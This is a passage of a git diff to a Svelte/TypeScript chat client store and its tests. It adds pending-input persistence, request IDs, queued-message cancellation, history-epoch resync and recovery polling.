+ expect(f.store.chunks.map((r) => r.chunk)).toEqual(full.map((r) => r.chunk));
+ expect(f.transport.sent).toEqual([]);
+ f.store.dispose();
+});
diff --git a/src/features/chat/store.svelte.ts b/src/features/chat/store.svelte.ts
index 9911438..dacbe06 100644
--- a/src/features/chat/store.svelte.ts
+++ b/src/features/chat/store.svelte.ts
@@ -1,8 +1,13 @@
import type {
+ ChatAcceptedMessage,
ChatDeltaMessage,
ChatErrorMessage,
+ ChatQueueCancelMessage,
+ ChatQueuedMessage,
ChatQueueMessage,
+ ChatResyncRequiredMessage,
ChatSendMessage,
+ ChatSubscriptionRejectedMessage,
} from "@dispatch/transport-contract";
import type { ChatMessage, ImageInput, StoredChunk, TurnProviderRetryEvent } from "@dispatch/wire";
import type { RenderedChunk, TranscriptState } from "../../core/chunks";
@@ -13,7 +18,9 @@ import {
foldEvent,
initialState,
initialWindowSize,
+ markHistoryRecovering,
normalizeChatLimit,
+ removeLocalEcho,
restoreEarlier,
selectChunks,
selectGenerating,
@@ -24,19 +31,28 @@ import {
unloadCount,
windowTranscript,
} from "../../core/chunks";
-import type { MetricsState, TurnMetricsEntry } from "../../core/metrics";
+import type { CacheTimerState, MetricsState, TurnMetricsEntry } from "../../core/metrics";
import {
applyDurableMetrics,
+ foldCacheTimerEvent,
foldMetricsEvent,
+ initialCacheTimerState,
initialMetricsState,
+ seedTurnGap,
selectCurrentContextSize,
selectOrderedTurnMetrics,
+ stopTurnGap,
} from "../../core/metrics";
import type { ConversationCache } from "../conversation-cache";
+import type { NamedAgentSelectionSnapshot } from "../named-agents";
+import type { PendingInput, PendingInputStorage } from "./pending-inputs";
import type { ChatTransport, HistorySync, MetricsSync } from "./ports";
export interface ChatStoreDependencies {
+ readonly pendingInputStorage?: PendingInputStorage;
readonly conversationId: string;
+ /** Injected unique client-local correlation token for each new send. */
+ readonly createRequestId: () => string;
readonly model?: string;
readonly transport: ChatTransport;
readonly historySync: HistorySync;
@@ -67,9 +83,27 @@ export interface ChatStoreDependencies {
* `reportError` → full-screen error modal. Absent → errors are logged only.
*/
readonly onError?: (context: string, err: unknown) => void;
+ /**
+ * Schedules a deferred flush of buffered live events (e.g. once per animation
+ * frame). When provided, `handleDelta` QUEUES events and folds the whole batch
+ * in one pass on the scheduled callback — so a burst (the late-join replay on
+ * opening a conversation mid-turn, or a fast stream on a slow device) costs ONE
+ * derivation + render instead of one per WS frame. Absent → every event is
+ * folded synchronously (the original behavior; used by tests).
+ */
+ readonly scheduleFlush?: (flush: () => void) => void;
+ /** Wall clock (epoch ms) — times the cache-timer gaps. Absent → `Date.now`. */
+ readonly now?: () => number;
+ /** Recovery polling clock; browser effects are replaceable by deterministic tests. */
+ readonly recoveryTimer?: {
+ schedule(callback: () => void, delayMs: number): unknown;
+ cancel(handle: unknown): void;
+ };
}
export interface ChatStore {
+ readonly pendingInputs: readonly PendingInput[];
+ discardPendingInput(requestId: string): void;
readonly messages: readonly ChatMessage[];
readonly chunks: readonly RenderedChunk[];
readonly turnMetrics: readonly TurnMetricsEntry[];
@@ -96,6 +130,8 @@ export interface ChatStore {
* to the newest attempt + delay; cleared when content resumes or the turn ends.
*/
readonly providerRetry: TurnProviderRetryEvent | null;
+ /** Omitted live payloads may not exist in HTTP history until step persistence. */
+ readonly recovering: boolean;
readonly pendingSync: boolean;
readonly error: string | null;
readonly model: string | undefined;
@@ -111,7 +147,29 @@ export interface ChatStore {
* a trim (see `TranscriptState.hiddenThinkingCount`).
*/
readonly thinkingKeyBase: number;
- handleDelta(msg: ChatDeltaMessage | ChatErrorMessage): void;
+ /**
+ * The cache timer (see `core/metrics/cache-timer.ts`): the running gap
+ * between model requests (a step's tools executing, or the wait after a turn
+ * ended) plus the stamped durations of finished gaps, keyed by `stepId` /
+ * `turnId`. Timed with the local clock from live events; in-memory only (a
+ * reload keeps just a turn gap seeded via `noteLastActivity`).
+ */
+ readonly cacheTimer: CacheTimerState;
+ /**
+ * Seed the turn gap from an authoritative activity timestamp (the
+ * conversation list's `lastActivityAt`) — call only for an IDLE conversation.
+ * Ignored while a turn is generating; a running turn gap keeps the later start.
+ */
+ noteLastActivity(at: number): void;
+ handleDelta(
+ msg:
+ | ChatAcceptedMessage
+ | ChatSubscriptionRejectedMessage
+ | ChatDeltaMessage
+ | ChatErrorMessage
+ | ChatQueuedMessage
+ | ChatResyncRequiredMessage,
+ ): void;
/**
* Send a user message (start a turn via `chat.send`). Optimistically echoes
* the text + any `images` as provisional user chunks (`[text, image, …]` in
@@ -128,11 +186,32 @@ export interface ChatStore {
* auto-starts a turn with the message as its opening prompt (equivalent to
* `chat.send`). No optimistic transcript echo — the queue SURFACE carries the
* pending message until drain; the `steering` event places it in the
- * transcript. `text` must be non-empty (the server 400/errors otherwise).
+ * transcript. Empty `text` is allowed when images are supplied. WS delivery
+ * is fire-and-forget; transport send is not a persistence acknowledgement.
*/
- queueMessage(text: string): void;
+ queueMessage(text: string, images?: readonly ImageInput[]): void;
+ /**
+ * Cancel (remove) a single queued steering message by id so it never runs
+ * (`chat.queue.cancel` WS op). Fire-and-forget + idempotent: success is
+ * confirmed by the `message-queue` SURFACE updating (the cancelled message
+ * leaves the snapshot); a cancel of an already-drained / unknown message is a
+ * silent server-side no-op. The caller optimistically hides the row; the
+ * surface update reconciles. `messageId` is the stable `QueuedMessage.id`
+ * the queue surface snapshot carries. No transcript change — a cancelled
+ * message is never delivered as steering.
+ */
+ cancelQueuedMessage(messageId: string): void;
setModel(model: string): void;
/**
+ * Set (or clear, with null) the Named Agent selection snapshot this chat sends
+ * with `chat.send` (plan §7). The backend persists it on the conversation at
+ * creation so it freezes the friendly id/name + resolved model — later edits to
+ * the Named Agent do not change this conversation's selection. The raw model
+ * (already set via `setModel`) is sent alongside; the snapshot is display/identity
+ * metadata that preserves HOW it was selected.
+ */
+ setNamedAgent(snapshot: NamedAgentSelectionSnapshot | null): void;
+ /**
* Update the chat limit LIVE: re-normalizes, then adjusts the loaded window.
* Lowering it unloads older committed chunks (deferred via the gate while the
* reader is scrolled up, catching up on the next mutation). Raising it
@@ -158,20 +237,165 @@ export interface ChatStore {
* running, the server's post-subscribe replay re-asserts `generating`. The
* app store pairs this with a `chat.subscribe` for the conversation.
*/
- resync(): void;
+ resync(historyEpoch?: number): void;
+ /** Discard pre-replacement transcript state without loading an unseen conversation. */
+ invalidateHistory(historyEpoch: number): void;
dispose(): void;
}
export function createChatStore(deps: ChatStoreDependencies): ChatStore {
+ let pendingInputs = $state<readonly PendingInput[]>(deps.pendingInputStorage?.load() ?? []);
+ function savePendingInputs(next: readonly PendingInput[]): void {
+ deps.pendingInputStorage?.save(next);
+ pendingInputs = next;
+ }
+ function confirmInput(requestId: string): void {
+ savePendingInputs(pendingInputs.filter((input) => input.request.requestId !== requestId));
+ }
let transcript = $state<TranscriptState>(initialState());
let metrics = $state<MetricsState>(initialMetricsState());
let _pendingSync = $state(false);
let _error = $state<string | null>(null);
let _model = $state<string | undefined>(deps.model);
+ let _namedAgent = $state<NamedAgentSelectionSnapshot | null>(null);
+ let cacheTimer = $state<CacheTimerState>(initialCacheTimerState());
+ const now = deps.now ?? Date.now;
let disposed = false;
+ let rerunRequested = false;
+ let historyEpoch: number | undefined;
+ let revision = 0;
+ let reloadWindow = false;
+ let earliestSeq = $state<number | null>(null);
+ let recoveringTurnId: string | undefined;
+ let recovering = $state(false);
+ const finishedRecoveryTurns = new Set<string>();
+ let finalSyncRequested = false;
+ let recoveryPaused = false;
+ const timer = deps.recoveryTimer ?? {
+ schedule: (callback: () => void, delay: number) => setTimeout(callback, delay),
+ cancel: (handle: unknown) => clearTimeout(handle as ReturnType<typeof setTimeout>),
+ };
+ let recoveryTimer: unknown;
+
+ function cancelRecoveryTimer(): void {
+ if (recoveryTimer !== undefined) timer.cancel(recoveryTimer);
+ recoveryTimer = undefined;
+ }
+
+ function scheduleRecovery(): void {
+ if (disposed || !recovering || recoveryPaused || recoveryTimer !== undefined) return;
+ recoveryTimer = timer.schedule(() => {
+ recoveryTimer = undefined;
+ flushEvents();
+ void syncTail(initialWindowSize(chatLimit));
+ }, 1000);
+ }
+
+ function resetTranscript(epoch: number): void {
+ historyEpoch = epoch;
+ revision++;
+ reloadWindow = true;
+ transcript = initialState();
+ if (recoveringTurnId !== undefined)
+ transcript = markHistoryRecovering(transcript, recoveringTurnId);
+ earliestSeq = null;
+ pendingEvents = [];
+ }
+ function hasEarlier(): boolean {
+ return selectHasEarlier(transcript, earliestSeq);
+ }
+
+ /** The most recent turn's id (resolves a seeded turn gap when it is stamped). */
+ function lastTurnIdOf(m: MetricsState): string | undefined {
+ const entries = selectOrderedTurnMetrics(m);
+ return entries[entries.length - 1]?.turnId;
+ }
let chatLimit = normalizeChatLimit(deps.chatLimit);
+ // Memoized projections, keyed by state-object identity (the reducers are
+ // immutable, so identity == content). The getters are read several times per
+ // render (ChatPane + ChatView); returning the SAME array for an unchanged
+ // state keeps downstream `$derived`s (grouping, metrics placement) from
+ // recomputing on every read. Plain closures, not `$derived` — a store factory
+ // may run inside a component effect, which would own (and later destroy) it.
+ const memo = <S, R>(fn: (s: S) => R): ((s: S) => R) => {
+ let lastIn: S | undefined;
+ let lastOut: R | undefined;
+ return (s) => {
+ if (lastOut === undefined || s !== lastIn) {
+ lastIn = s;
+ lastOut = fn(s);
+ }
+ return lastOut;
+ };
+ };
+ const chunksOf = memo(selectChunks);
+ const turnMetricsOf = memo(selectOrderedTurnMetrics);
+
+ // Buffered live events awaiting a scheduled flush (see `scheduleFlush`).
+ let pendingEvents: ChatDeltaMessage["event"][] = [];
+ let flushScheduled = false;
+
+ /** Fold every buffered event in one pass, then trim + sync once. */
+ function flushEvents(): void {
+ flushScheduled = false;
+ if (disposed || pendingEvents.length === 0) return;
+ const batch = pendingEvents;
+ pendingEvents = [];
+ applyEvents(batch);
+ }
+
+ function applyEvents(events: readonly ChatDeltaMessage["event"][]): void {
+ let t = transcript;
+ let m = metrics;
+ let sealed = false;
+ let failed = false;
+ let recoveryEnded = false;
+ let c = cacheTimer;
+ const at = now();
+ for (const event of events) {
+ t = foldEvent(t, event);
+ m = foldMetricsEvent(m, event);
+ const mNow = m;
+ c = foldCacheTimerEvent(c, event, at, () => lastTurnIdOf(mNow));
+ if (
+ event.type === "turn-ended" &&
+ recovering &&
+ (recoveringTurnId === undefined || event.turnId === recoveringTurnId)
+ ) {
+ finishedRecoveryTurns.add(event.turnId);
+ finalSyncRequested = true;
+ recoveringTurnId = undefined;
+ recovering = false;
+ recoveryEnded = true;
+ cancelRecoveryTimer();
+ }
+ if (event.type === "turn-sealed") sealed = true;
+ else if (event.type === "error") failed = true;
+ }
+ transcript = t;
+ metrics = m;
+ cacheTimer = c;
+ maybeTrim();
+ if (recovering && recoveringTurnId !== undefined) {
+ // done/error/seal can precede persistence and the real terminal. Keep
+ // lifecycle evidence until turn-ended, not merely until a content event.
+ transcript = markHistoryRecovering(transcript, recoveringTurnId);
+ }
+ if (recoveryEnded) {
+ void syncTail(initialWindowSize(chatLimit));
+ void syncMetrics();
+ } else if (sealed) {
+ void syncTail();
+ void syncMetrics();
+ } else if (failed) {
+ // A turn that FAILS never seals, but the backend still persists the
+ // metrics it accumulated — pull them so the turn gets its row.
+ void syncMetrics();
+ }
+ }
+
/**
* Enforce the chat limit after a transcript mutation — unless the injected
* gate says the reader is scrolled up (then defer; the next mutation retries
@@ -191,27 +415,142 @@ export function createChatStore(deps: ChatStoreDependencies): ChatStore {
* between the cache and the fetched window.
*/
async function syncTail(coldLimit?: number): Promise<void> {
- if (disposed || _pendingSync) return;
+ if (disposed) return;
+ if (_pendingSync) {
+ rerunRequested = true;
+ return;
+ }
_pendingSync = true;
- try {
- const since = await deps.cache.sinceSeq(deps.conversationId);
- const window = since === 0 && coldLimit !== undefined ? { limit: coldLimit } : undefined;
- const res = await deps.historySync(deps.conversationId, since, window);
- const merged = await deps.cache.commit(deps.conversationId, res.chunks);
- transcript = applyHistory(transcript, merged);
- maybeTrim();
- _error = null;
- } catch (err) {
- _error = err instanceof Error ? err.message : String(err);
- } finally {
- _pendingSync = false;
+ // One request plus at most two sequential reruns. Continued churn waits for
+ // the next reconnect/seal/explicit resync, never a microtask refetch loop.
+ let attempts = 0;
+ do {
+ attempts++;
+ rerunRequested = false;
+ try {
+ const currentRevision = revision;
+ let cachedEpoch = await deps.cache.historyEpoch(deps.conversationId);
+ if (historyEpoch !== undefined && cachedEpoch !== historyEpoch) {
+ await deps.cache.reset(deps.conversationId, historyEpoch);
+ cachedEpoch = await deps.cache.historyEpoch(deps.conversationId);
+ }
+ const since =
+ reloadWindow || cachedEpoch === undefined
+ ? 0
+ : await deps.cache.sinceSeq(deps.conversationId);
+ if (disposed) break;
+ if (revision !== currentRevision) {
+ rerunRequested = true;
+ continue;
+ }
+ const limit =
+ since === 0
+ ? reloadWindow || recovering || finishedRecoveryTurns.size > 0
+ ? initialWindowSize(chatLimit)
+ : coldLimit
+ : undefined;
+ const finishedAtRequest = [...finishedRecoveryTurns];
+ finalSyncRequested = false;
+ const res = await deps.historySync(
+ deps.conversationId,
+ since,
+ limit === undefined ? undefined : { limit },
+ );
+ if (disposed) break;
+ if (revision !== currentRevision) {
+ rerunRequested = true;
+ continue;
+ }
+ const mismatch =
+ (cachedEpoch !== undefined && cachedEpoch !== res.historyEpoch) ||
+ (historyEpoch !== undefined && historyEpoch !== res.historyEpoch);
+ if (mismatch && since !== 0) {
+ // A cursor response cannot replace a different history. Confirm with
+ // a new full-window request; don't mistake a lower epoch for staleness.
+ reloadWindow = true;
+ rerunRequested = true;
+ continue;
+ }
+ let merged: readonly StoredChunk[];
+ if (mismatch || cachedEpoch === undefined) {
+ const replaced = await deps.cache.replace(
+ deps.conversationId,
+ res.chunks,
+ res.historyEpoch,
+ cachedEpoch,
+ );
+ const replacedEpoch = await deps.cache.historyEpoch(deps.conversationId);
+ if (disposed) break;
+ if (revision !== currentRevision || !replaced || replacedEpoch !== res.historyEpoch) {
+ rerunRequested = true;
+ continue;
+ }
+ if (mismatch) resetTranscript(res.historyEpoch);
+ merged = res.chunks;
+ } else {
+ merged = await deps.cache.commit(deps.conversationId, res.chunks, res.historyEpoch);
+ const committedEpoch = await deps.cache.historyEpoch(deps.conversationId);
+ if (disposed) break;
+ if (revision !== currentRevision || committedEpoch !== res.historyEpoch) {
+ rerunRequested = true;
+ continue;
+ }
+ }
+ reloadWindow = false;
+ historyEpoch = res.historyEpoch;
+ if (since === 0 && (limit === undefined || res.chunks.length < limit))
+ earliestSeq = merged[0]?.seq ?? 0;
+ flushEvents();
+ transcript = applyHistory(transcript, merged, finishedAtRequest);
+ for (const turnId of finishedAtRequest) finishedRecoveryTurns.delete(turnId);
+ maybeTrim();
+ _error = null;
+ } catch (err) {
+ _error = err instanceof Error ? err.message : String(err);
+ }
+ } while (rerunRequested && !disposed && attempts < 3);
+ if (rerunRequested && !disposed) {
+ recoveryPaused = true;
+ cancelRecoveryTimer();
+ _error = "Conversation history changed repeatedly; sync paused until the next refresh.";
+ }
+ _pendingSync = false;
+ // Schedule AFTER the bounded sync burst. No interval can queue unbounded
+ // reruns behind a slow request; repeated notices coalesce on the same clock.
+ scheduleRecovery();
+ // A terminal landing during the third (bounded epoch) attempt still owns
+ // one post-terminal request. It is a new external trigger, not an epoch
+ // retry loop; consume the flag before starting its bounded burst.
+ if (finalSyncRequested && !disposed) {
+ finalSyncRequested = false;
+ void syncTail(initialWindowSize(chatLimit));
}
}
- async function syncMetrics(): Promise<void> {
+ let pendingMetrics: Promise<void> | undefined;
+ let rerunMetrics = false;
+ function syncMetrics(): Promise<void> {
+ if (pendingMetrics !== undefined) {
+ rerunMetrics = true;
+ return pendingMetrics;
+ }
+ pendingMetrics = (async () => {
+ for (let attempt = 0; attempt < 2; attempt++) {
+ rerunMetrics = false;
+ await fetchMetrics();
+ if (!rerunMetrics || disposed) break;
+ }
+ })().finally(() => {
+ pendingMetrics = undefined;
+ });
+ return pendingMetrics;
+ }
+
+ async function fetchMetrics(): Promise<void> {
if (disposed) return;
try {
const res = await deps.metricsSync(deps.conversationId);
+ if (disposed) return;
metrics = applyDurableMetrics(metrics, res.turns);
} catch (err) {
// Metrics fetch failure must not block history sync or throw;
@@ -229,14 +568,27 @@ export function createChatStore(deps: ChatStoreDependencies): ChatStore {
* newest `count` of them). Shared by `showEarlier` and the raise-refill.
*/
async function backfillOlder(oldest: number, want: number): Promise<readonly StoredChunk[]> {
+ const currentRevision = revision;
let earlier = (await deps.cache.load(deps.conversationId)).filter((c) => c.seq < oldest);
+ if (disposed || revision !== currentRevision) return [];
const oldestKnown = earlier[0]?.seq ?? oldest;
- if (earlier.length < want && oldestKnown > 1) {
+ if (earlier.length < want && (earliestSeq === null || oldestKnown > earliestSeq)) {
const res = await deps.historySync(deps.conversationId, 0, {
beforeSeq: oldestKnown,
limit: want - earlier.length,
});
- const merged = await deps.cache.commit(deps.conversationId, res.chunks);
+ if (disposed || revision !== currentRevision) return [];
+ if (res.historyEpoch !== historyEpoch) {
+ // Confirm a backfill mismatch with a fresh full window as well. Bump
+ // the local revision so an overlapping old tail cannot be applied.
+ revision++;
+ reloadWindow = true;
+ await syncTail(initialWindowSize(chatLimit));
+ return [];
+ }
+ const merged = await deps.cache.commit(deps.conversationId, res.chunks, res.historyEpoch);
+ if (disposed || revision !== currentRevision) return [];
+ if (res.chunks.length < want - earlier.length) earliestSeq = merged[0]?.seq ?? 0;
earlier = merged.filter((c) => c.seq < oldest);
}
return earlier;
@@ -246,15 +598,15 @@ export function createChatStore(deps: ChatStoreDependencies): ChatStore {
* Refill toward the fresh-load window after a limit RAISE: pull older
* history (cache first, then server) so the loaded set grows to match what a
* fresh `load()` would show at the new limit. No-op when already at the
- * origin (seq 1) or already within the window. `restoreEarlier` re-derives
+ * known history boundary or already within the window. `restoreEarlier` re-derives
* the window start at apply time, so a delta landing during the await can't
* corrupt the merge. NOT gated (refilling prepends above the viewport; the
* caller preserves scroll position).
*/
async function refill(): Promise<void> {
if (disposed) return;
+ if (!hasEarlier()) return;
const oldest = transcript.committed[0]?.seq ?? transcript.hiddenBeforeSeq;
- if (oldest <= 1) return;
const want = initialWindowSize(chatLimit) - transcript.committed.length;
if (want <= 0) return;
try {
@@ -268,14 +620,18 @@ export function createChatStore(deps: ChatStoreDependencies): ChatStore {
}
return {
+ get pendingInputs() {
+ return pendingInputs;
+ },
+ discardPendingInput: confirmInput,
get messages(): readonly ChatMessage[] {
return selectMessages(transcript);
},
get chunks(): readonly RenderedChunk[] {
- return selectChunks(transcript);
+ return chunksOf(transcript);
},
get turnMetrics(): readonly TurnMetricsEntry[] {
- return selectOrderedTurnMetrics(metrics);
+ return turnMetricsOf(metrics);
},
get currentContextSize(): number | undefined {
return selectCurrentContextSize(metrics);
@@ -286,6 +642,9 @@ export function createChatStore(deps: ChatStoreDependencies): ChatStore {
get providerRetry(): TurnProviderRetryEvent | null {
return selectProviderRetry(transcript);
},
+ get recovering(): boolean {
+ return recovering;
+ },
get pendingSync(): boolean {
return _pendingSync;
},
@@ -296,55 +655,164 @@ export function createChatStore(deps: ChatStoreDependencies): ChatStore {
return _model;
},
get hasEarlier(): boolean {
- return selectHasEarlier(transcript);
+ return hasEarlier();
},
get thinkingKeyBase(): number {
return transcript.hiddenThinkingCount;
},
+ get cacheTimer(): CacheTimerState {
+ return cacheTimer;
+ },
+
+ noteLastActivity(at: number): void {
+ if (selectGenerating(transcript)) return;
+ cacheTimer = seedTurnGap(cacheTimer, at);
+ },
- handleDelta(msg: ChatDeltaMessage | ChatErrorMessage): void {
+ handleDelta(
+ msg:
+ | ChatAcceptedMessage
+ | ChatSubscriptionRejectedMessage
+ | ChatDeltaMessage
+ | ChatErrorMessage
+ | ChatQueuedMessage
+ | ChatResyncRequiredMessage,
+ ): void {
+ if (disposed) return;
+ if (msg.type === "chat.accepted") {
+ if (msg.conversationId === deps.conversationId) confirmInput(msg.requestId);
+ return;
+ }
+ if (msg.type === "chat.subscription-rejected") {
+ if (msg.conversationId === deps.conversationId) {
+ _error =
+ "Live updates could not be subscribed. Message delivery is independent; saved inputs remain available below.";
+ void syncTail();
+ }
+ return;
+ }
+ if (msg.type === "chat.resync-required") {
+ if (msg.conversationId !== deps.conversationId) return;
+ flushEvents();
+ const target =
+ msg.turnId ?? (transcript.generating ? transcript.currentTurnId : null) ?? undefined;
+ // Oversized status packets need not identify an active turn. Refresh
+ // once, but do not invent generation or poll an idle conversation.
+ if (target === undefined) {
+ void syncTail(initialWindowSize(chatLimit));
+ return;
+ }
+ const first = !recovering || recoveryPaused;
+ recoveryPaused = false;
+ recovering = true;
+ recoveringTurnId = target;
+ if (recoveringTurnId !== undefined)
+ transcript = markHistoryRecovering(transcript, recoveringTurnId);
+ // Immediate first handoff, including a coalesced rerun behind a cold
+ // load. Repeats wait for the existing fetch/one-second timer.
+ if (first) void syncTail(initialWindowSize(chatLimit));
+ return;
+ }
if (msg.type === "chat.error") {
if (msg.conversationId !== undefined && msg.conversationId !== deps.conversationId) {
return;
}
_error = msg.message;
+ if (msg.requestId !== undefined) {
+ savePendingInputs(
+ pendingInputs.map((input) =>
+ input.request.requestId === msg.requestId
+ ? { ...input, rejection: msg.message }
+ : input,
+ ),
+ );
+ transcript = removeLocalEcho(transcript, msg.requestId);
+ }
+ return;
+ }
+ if (msg.type === "chat.queued") {
+ if (disposed || msg.conversationId !== deps.conversationId) return;
+ // A queued live opening may already have confirmed the echoed text.
+ // Fold it first; turn-start alone must not protect still-local artifacts.
+ flushEvents();
+ if (msg.requestId !== undefined) {
+ confirmInput(msg.requestId);
+ transcript = removeLocalEcho(transcript, msg.requestId);
+ }
return;
}
if (msg.event.conversationId !== deps.conversationId) {
return;
}
- transcript = foldEvent(transcript, msg.event);
- metrics = foldMetricsEvent(metrics, msg.event);
- maybeTrim();
- if (transcript.sealedTurnId !== null) {
- void syncTail();
- void syncMetrics();
+ if (deps.scheduleFlush === undefined) {
+ applyEvents([msg.event]);
+ return;
+ }
+ pendingEvents.push(msg.event);
+ if (!flushScheduled) {
+ flushScheduled = true;
+ deps.scheduleFlush(flushEvents);
}
},
send(text: string, images?: readonly ImageInput[]): void {
- transcript = appendUserMessage(transcript, text, images);
- maybeTrim();
- const msg: ChatSendMessage = {
+ flushEvents();
+ // Sending ends the wait since the last turn: stamp it on that turn.
+ cacheTimer = stopTurnGap(cacheTimer, now(), () => lastTurnIdOf(metrics));
+ const requestId = deps.createRequestId();
+ const msg: ChatSendMessage & { requestId: string } = {
type: "chat.send",
+ requestId,
conversationId: deps.conversationId,
message: text,
...(_model !== undefined ? { model: _model } : {}),
+ ...(_namedAgent !== null ? { namedAgent: _namedAgent } : {}),
...(deps.workspaceId !== undefined ? { workspaceId: deps.workspaceId } : {}),
...(images !== undefined && images.length > 0 ? { images: [...images] } : {}),
};
+ try {
+ savePendingInputs([...pendingInputs, { request: msg }]);
+ } catch (error) {
+ deps.onError?.("Unable to save input; the message has not been sent", error);
+ throw error;
+ }
+ transcript = appendUserMessage(transcript, text, images, requestId);
+ maybeTrim();
deps.transport.send(msg);
},
- queueMessage(text: string): void {
+ queueMessage(text: string, images?: readonly ImageInput[]): void {
const trimmed = text.trim();
- if (trimmed.length === 0) return;
- const msg: ChatQueueMessage = {
+ if (trimmed.length === 0 && !images?.length) return;
+ const msg: ChatQueueMessage & { requestId: string } = {
type: "chat.queue",
+ requestId: deps.createRequestId(),
conversationId: deps.conversationId,
text: trimmed,
+ ...(images !== undefined && images.length > 0 ? { images: [...images] } : {}),
...(deps.workspaceId !== undefined ? { workspaceId: deps.workspaceId } : {}),
};
+ try {
+ savePendingInputs([...pendingInputs, { request: msg }]);
+ } catch (error) {
+ deps.onError?.("Unable to save input; the message has not been queued", error);
+ throw error;
+ }
+ deps.transport.send(msg);
+ },
+
+ cancelQueuedMessage(messageId: string): void {
+ // Fire-and-forget + idempotent (per the contract). The caller optimistically
+ // hides the row; the message-queue surface update reconciles. A cancel of
+ // an already-drained / unknown message is a silent server no-op, so there
+ // is no local-state change to make and nothing to roll back on a stray
+ // `chat.error` (which only fires for a malformed send — a client that
+ // sends the id it just rendered never hits it).
+ const msg: ChatQueueCancelMessage = {
+ type: "chat.queue.cancel",
+ conversationId: deps.conversationId,
+ messageId,
+ };
deps.transport.send(msg);
},
@@ -352,6 +820,10 @@ export function createChatStore(deps: ChatStoreDependencies): ChatStore {
_model = model;
},
+ setNamedAgent(snapshot: NamedAgentSelectionSnapshot | null): void {
+ _namedAgent = snapshot;
+ },
+
async setChatLimit(limit: number): Promise<void> {
const prev = chatLimit;
chatLimit = normalizeChatLimit(limit);
@@ -369,8 +841,11 @@ export function createChatStore(deps: ChatStoreDependencies): ChatStore {
// server instead (CR-5 `?limit=`), so a huge conversation never ships
// whole. The post-sync window re-asserts the cap either way.
const windowSize = initialWindowSize(chatLimit);
+ const currentRevision = revision;
+ const cachedEpoch = await deps.cache.historyEpoch(deps.conversationId);
const cached = await deps.cache.load(deps.conversationId);
- if (cached.length > 0) {
+ if (!disposed && revision === currentRevision && cachedEpoch !== undefined) {
+ historyEpoch = cachedEpoch;
transcript = windowTranscript(applyHistory(transcript, cached), windowSize);
}
await syncTail(windowSize);
@@ -381,7 +856,7 @@ export function createChatStore(deps: ChatStoreDependencies): ChatStore {
async showEarlier(): Promise<void> {
if (disposed) return;
const oldest = transcript.committed[0]?.seq ?? transcript.hiddenBeforeSeq;
- if (oldest <= 1) return;
+ if (!hasEarlier()) return;
const want = unloadCount(chatLimit);
try {
const earlier = await backfillOlder(oldest, want);
@@ -392,18 +867,34 @@ export function createChatStore(deps: ChatStoreDependencies): ChatStore {
}
},
- resync(): void {
+ invalidateHistory(epoch): void {
+ if (!disposed && (historyEpoch === undefined || epoch > historyEpoch)) resetTranscript(epoch);
+ },
+
+ resync(epoch?: number): void {
if (disposed) return;
+ if (epoch !== undefined && (historyEpoch === undefined || epoch > historyEpoch))
+ resetTranscript(epoch);
// A turn may have sealed while we were disconnected (missed `turn-sealed`):
// clear the now-stale spinner BEFORE re-subscribing, so a finished turn
// doesn't spin forever. A still-running turn's replay re-asserts it.
- transcript = clearGenerating(transcript);
+ flushEvents();
+ recoveryPaused = false;
+ if (epoch === undefined) {
+ recovering = false;
+ recoveringTurnId = undefined;
+ cancelRecoveryTimer();
+ transcript = clearGenerating(transcript);
+ }
void syncTail();
void syncMetrics();
},
dispose(): void {
disposed = true;
+ cancelRecoveryTimer();
+ finishedRecoveryTurns.clear();
+ pendingEvents = [];
},
};
}
diff --git a/src/features/chat/store.test.ts b/src/features/chat/store.test.ts
index 8f36994..5040e67 100644
--- a/src/features/chat/store.test.ts
+++ b/src/features/chat/store.test.ts
@@ -1,5 +1,8 @@
import type { AgentEvent, ImageInput, StepId, StoredChunk } from "@dispatch/wire";
+import { IDBFactory, IDBKeyRange } from "fake-indexeddb";
import { describe, expect, it, vi } from "vitest";
+import { createIdbChunkStore } from "../../adapters/idb";
+import { createConversationCache } from "../conversation-cache";
import { createChatStore } from "./store.svelte";
import {
createFakeCache,
@@ -29,6 +32,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -61,6 +65,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -104,6 +109,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -128,6 +134,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
model: "openai/gpt-4",
transport: transport.impl,
@@ -150,6 +157,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -182,6 +190,7 @@ describe("createChatStore", () => {
it("send omits images on the wire when none are staged (backward compatible)", () => {
const transport = createFakeTransport();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: createFakeHistorySync().impl,
@@ -198,6 +207,7 @@ describe("createChatStore", () => {
it("send omits images on the wire for an empty array", () => {
const transport = createFakeTransport();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: createFakeHistorySync().impl,
@@ -214,6 +224,7 @@ describe("createChatStore", () => {
it("send allows an images-only message (empty text)", () => {
const transport = createFakeTransport();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: createFakeHistorySync().impl,
@@ -238,6 +249,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -252,16 +264,52 @@ describe("createChatStore", () => {
expect(transport.sentQueue[0]?.type).toBe("chat.queue");
expect(transport.sentQueue[0]?.conversationId).toBe(CONV_ID);
expect(transport.sentQueue[0]?.text).toBe("steer left");
+ expect(transport.sentQueue[0]).not.toHaveProperty("images");
store.dispose();
